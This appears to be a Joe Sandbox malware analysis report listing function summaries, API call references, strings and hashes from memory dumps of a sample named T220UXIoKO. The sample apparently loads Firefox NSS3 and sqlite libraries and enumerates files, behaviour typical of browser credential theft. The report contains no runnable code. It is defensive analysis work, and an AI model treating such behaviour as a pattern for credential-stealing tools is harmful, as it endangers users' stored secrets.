getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6D57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6D57CA

Strings

MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C6D5749
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C6D5B38
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C6D5CF9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C6D5D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C6D5AC9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C6D5724
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6D56E3
MOZ_PROFILER_STARTUP, xrefs: 6C6D55E1
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C6D5C56
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C6D5791
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C6D5717
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C6D5BBE
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6D57AE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C6D5D24
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C6D5766
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C6D5D01
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6D548D
GeckoMain, xrefs: 6C6D5554, 6C6D55D5
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6D57C5
MOZ_BASE_PROFILER_HELP, xrefs: 6C6D5511
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6D54B9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C6D5D1C
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6D54A3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C6D584E
[I %d/%d] profiler_init, xrefs: 6C6D564E

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 7f772ca6ae9473dcc80d3656b22e1ad1729b6c836ef580295da48de6701661c7
Instruction ID: 94917a861023ea109137b23f6838b4eb00eaef91a20b12bfeab8afee1892e52b
Opcode Fuzzy Hash: 7f772ca6ae9473dcc80d3656b22e1ad1729b6c836ef580295da48de6701661c7
Instruction Fuzzy Hash: 752213F0A047409BDB00AF75890866A77F4EF4634DF15852AF85A87E41EB30A948CB6B

Function 6C806D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C90A8EC,0000006C), ref: 6C806DC6
memcpy.VCRUNTIME140(?,6C90A958,0000006C), ref: 6C806DDB
memcpy.VCRUNTIME140(?,6C90A9C4,00000078), ref: 6C806DF1
memcpy.VCRUNTIME140(?,6C90AA3C,0000006C), ref: 6C806E06
memcpy.VCRUNTIME140(?,6C90AAA8,00000060), ref: 6C806E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C806E38

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C806E76
TlsGetValue.KERNEL32 ref: 6C80726F
EnterCriticalSection.KERNEL32(?), ref: 6C807283

Strings

!, xrefs: 6C807123

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 177b3b1edf18c00e3e30056c1c60e6237edfac45833c9742169b3a7d68dfdafd
Instruction ID: 3592328b9975404271fb6f8aba4c15d66742ebae4f6d46892d0e0cea10ee27d3
Opcode Fuzzy Hash: 177b3b1edf18c00e3e30056c1c60e6237edfac45833c9742169b3a7d68dfdafd
Instruction Fuzzy Hash: 7B728F75E052199FDF60DF28CD8879ABBB5BF49308F1045A9D80DA7741EB31AA84CF90

Function 004138B0 Relevance: 47.5, APIs: 21, Strings: 6, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004138CC
FindFirstFileA.KERNEL32(?,?), ref: 004138E3
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

%s\*, xrefs: 004138C0
%s\%s, xrefs: 0041397A
%s%s, xrefs: 00413AAD
!=A, xrefs: 00413C82, 00413C45, 00413B69, 00413909, 00413B6C, 00413C48
%s\%s\%s, xrefs: 00413A4A
%s\%s, xrefs: 00413A6F

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: !=A$%s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-817767981
Opcode ID: 6c53ff961390e236f1dec9b7f8df54b8d1e929d55165807bfe4fc35a19da78d4
Instruction ID: 6b32dcbabd2ae606338a05af88a65253e6d0136fcb4401239c8972690a9ca057
Opcode Fuzzy Hash: 6c53ff961390e236f1dec9b7f8df54b8d1e929d55165807bfe4fc35a19da78d4
Instruction Fuzzy Hash: 45A182B5A40218ABDB20DFA4DC85FEA7379BF45301F04458DB50D96181EB789B84CF66

Function 6C84AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C84ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C84ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C84ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C84AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C84ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C84ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C84ADF0

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C84B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C84B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C84B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C84B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C84B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C84B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C84B40C

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 3cb5f34703f697aec3b7df5db8acc8b0c9368fc611a21f16bbb511324172a6f9
Instruction ID: 83f893788b00585dbdf5086dc3e308cbb4a22b422d20c05467317a5757a4a93b
Opcode Fuzzy Hash: 3cb5f34703f697aec3b7df5db8acc8b0c9368fc611a21f16bbb511324172a6f9
Instruction Fuzzy Hash: 8222A071904305ABE720CF18CE44BAA77E1AF8430CF14897CE9585B792E772E859CB96

Function 6C7CECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C7CED38

Part of subcall function 6C764F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C764FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C7CEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C7CEFE4

Part of subcall function 6C88DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C765001,?,00000003,00000000), ref: 6C88DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C7CF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C7CF129
sqlite3_mprintf.NSS3(optimize), ref: 6C7CF1D1
sqlite3_free.NSS3(?), ref: 6C7CF368

Strings

fts3tokenize, xrefs: 6C7CF30F
matchinfo, xrefs: 6C7CF04F, 6C7CF082, 6C7CF0C2, 6C7CF0F2, 6C7CF124, 6C7CF169
fts4aux, xrefs: 6C7CECF9
snippet, xrefs: 6C7CEF05, 6C7CEF37, 6C7CEF7C
offsets, xrefs: 6C7CEFAF, 6C7CEFDF, 6C7CF01F
fts3_tokenizer, xrefs: 6C7CEE1A, 6C7CEEA8
porter, xrefs: 6C7CED97
fts3, xrefs: 6C7CF247
unicode61, xrefs: 6C7CEDB5
simple, xrefs: 6C7CED79
fts4, xrefs: 6C7CF2AD
optimize, xrefs: 6C7CF199, 6C7CF1CC, 6C7CF211

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 7a3bebb1b4b95d9283ad56e16dd17d761051ca249562b6b88bd6fb30c03ec1d7
Instruction ID: 012329ec4892c5da155c27995fc1ff04a4cdc5194c0252d0a5205599b5cd497f
Opcode Fuzzy Hash: 7a3bebb1b4b95d9283ad56e16dd17d761051ca249562b6b88bd6fb30c03ec1d7
Instruction Fuzzy Hash: 4802D5B1B083029FE704AF31AA8676B37B56BC570CF24853DD85957B40EB74E8458793

Function 00414570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
HeapAlloc.KERNEL32(00000000), ref: 00414587
wsprintfA.USER32 ref: 004145A6
FindFirstFileA.KERNEL32(?,?), ref: 004145BD
StrCmpCA.SHLWAPI(?,00420FC4), ref: 004145EB
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414601
FindNextFileA.KERNEL32(000000FF,?), ref: 0041468B
FindClose.KERNEL32(000000FF), ref: 004146A0
lstrcatA.KERNEL32(?,00921FD0,?,00000104), ref: 004146C5
lstrcatA.KERNEL32(?,00920D98), ref: 004146D8
lstrlenA.KERNEL32(?), ref: 004146E5
lstrlenA.KERNEL32(?), ref: 004146F6

Strings

%s\*, xrefs: 0041459A
%s\%s, xrefs: 0041461B

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 39864e50ef92aebf400fc9bd5a38106b04bb467baa3bce6153a2bded5786712e
Instruction ID: 82eaf0d031878973a8df5e9a00467f3300e65aa4f81b4767f6d66ede98fc483b
Opcode Fuzzy Hash: 39864e50ef92aebf400fc9bd5a38106b04bb467baa3bce6153a2bded5786712e
Instruction Fuzzy Hash: 195177B5950218ABC720EBB0DC89FEE737DAB54304F40458DB60996190EB789BC58F96

Function 6C7DEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7DEF63

Part of subcall function 6C7E87D0: PORT_NewArena_Util.NSS3(00000800,6C7DEF74,00000000), ref: 6C7E87E8
Part of subcall function 6C7E87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C7DEF74,00000000), ref: 6C7E87FD
Part of subcall function 6C7E87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C7E884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C7DF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7DF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C7DF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C7DF374
PL_strcasecmp.NSS3(6C922FD4,?), ref: 6C7DF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C7DF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C7DF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C7DF67D
CERT_DestroyName.NSS3(?), ref: 6C7DF68B

Part of subcall function 6C7E8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C7E8338
Part of subcall function 6C7E8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C7E8364
Part of subcall function 6C7E8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C7E838E
Part of subcall function 6C7E8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7E83A5
Part of subcall function 6C7E8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7E83E3

Part of subcall function 6C7E84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C7E84D9
Part of subcall function 6C7E84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C7E8528

Part of subcall function 6C7E8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C7DF599,?,00000000), ref: 6C7E8955

Strings

oid., xrefs: 6C7DF2CF
*, xrefs: 6C7DF3C6
", xrefs: 6C7DF21B

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: f56d6e36832ada72998208c292a836a111bb0f8dea519ddf4e655305bb48860c
Instruction ID: be0dd1d55c0c8fd82ad2c27d8d346c44881da44082a868871e3a483f3599719e
Opcode Fuzzy Hash: f56d6e36832ada72998208c292a836a111bb0f8dea519ddf4e655305bb48860c
Instruction Fuzzy Hash: C2223B7160C3414BD714CE28CA9036AB7E6AB85358F1A8A3EE5D587B92E731FC45C783

Function 6C84EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C84C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C84DAE2,?), ref: 6C84C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C84F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C84F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C84F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C84F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C91218C), ref: 6C84F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C84F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C84F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C84F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C84F210

Part of subcall function 6C7F52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C84F1E9,?,00000000,?,?), ref: 6C7F52F5
Part of subcall function 6C7F52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C7F530F
Part of subcall function 6C7F52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C7F5326
Part of subcall function 6C7F52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C84F1E9,?,00000000,?,?), ref: 6C7F5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C84F227

Part of subcall function 6C83FAB0: free.MOZGLUE(?,-00000001,?,?,6C7DF673,00000000,00000000), ref: 6C83FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C84F23E

Part of subcall function 6C83BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C7EE708,00000000,00000000,00000004,00000000), ref: 6C83BE6A
Part of subcall function 6C83BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7F04DC,?), ref: 6C83BE7E
Part of subcall function 6C83BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C83BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C84F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C84F3A8

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C84F3B3

Part of subcall function 6C7F2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C7F2D3C
Part of subcall function 6C7F2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7F2D5F

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: b701b0a180d3acbe5de80c8336791be725d86c934f7bd7a668a84f5430abfc51
Instruction ID: 33958a5c608bedd319079cbe1f33c508acf18498ce703a4693f4d50221f50720
Opcode Fuzzy Hash: b701b0a180d3acbe5de80c8336791be725d86c934f7bd7a668a84f5430abfc51
Instruction Fuzzy Hash: B0D1A1B6E012199FDB20CF99DA80A9EB7F6EF58308F14C82DD915A7711E731E805CB90

Function 6C76ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C76ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C76EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C76EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C76EF98

Strings

database corruption, xrefs: 6C76F48D
%s at line %d of [%.10s], xrefs: 6C76F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C76F483

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: _byteswap_ulong
